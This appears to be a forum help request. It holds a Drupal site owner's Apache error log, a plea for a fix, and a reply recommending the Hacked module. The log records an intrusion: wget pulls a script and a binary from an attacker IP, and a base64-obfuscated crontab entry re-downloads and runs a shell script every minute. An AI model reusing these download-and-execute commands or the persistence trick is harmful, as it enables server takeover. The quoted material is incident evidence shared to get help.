apache server error_log:
--2018-11-14 22:13:39-- http://164.132.159.56/drupal/zps.sh Connecting to 164.132.159.56:80... connected. HTTP request sent, awaiting response... 200 OK Length: 589 [text/x-sh] Saving to: 'STDOUT'
0K 100% 101M=0s
2018-11-14 22:13:40 (101 MB/s) - written to stdout [589/589]
rm: cannot remove '/var/tmp/yum-ec2-user-_j9uM3': Operation not permitted rm: refusing to remove '.' or '..' directory: skipping '/var/tmp/.' rm: refusing to remove '.' or '..' directory: skipping '/var/tmp/..' --2018-11-14 22:13:40-- http://164.132.159.56/drupal/2/olo Connecting to 164.132.159.56:80... connected. HTTP request sent, awaiting response... 200 OK Length: 33880 (33K) Saving to: '/var/tmp/lew'
0K .......... .......... .......... ... 100% 286K=0.1s
2018-11-14 22:13:40 (286 KB/s) - '/var/tmp/lew' saved [33880/33880]
% Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed ^M 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0^M100 33880 100 33880 0 0 96119 0 --:--:-- --:--:-- --:--:-- 96250 e: No such file or directory e: No such file or directory e: No such file or directory
e: No such file or directory e: No such file or directory e: No such file or directory e: No such file or directory e: No such file or directory e: No such file or directory sh: line 1: 22417 Done echo '* * * * * echo -n "d2dldCAtTyAtIGh0dHA6Ly8xNjQuMTMyLjE1OS41Ni9kcnVwYWwvei5zaHxzaA==" | base64 -d |sh > /dev/null' 22418 Killed | crontab - e: No such file or directory e: No such file or directory e: No such file or directory e: No such file or directory
Please tell solution.
Use Hacked module (https://www.drupal.org/project/hacked) for your site. It will give you report for all files which has been changed recently.
You can either delete those files or resolve their coding.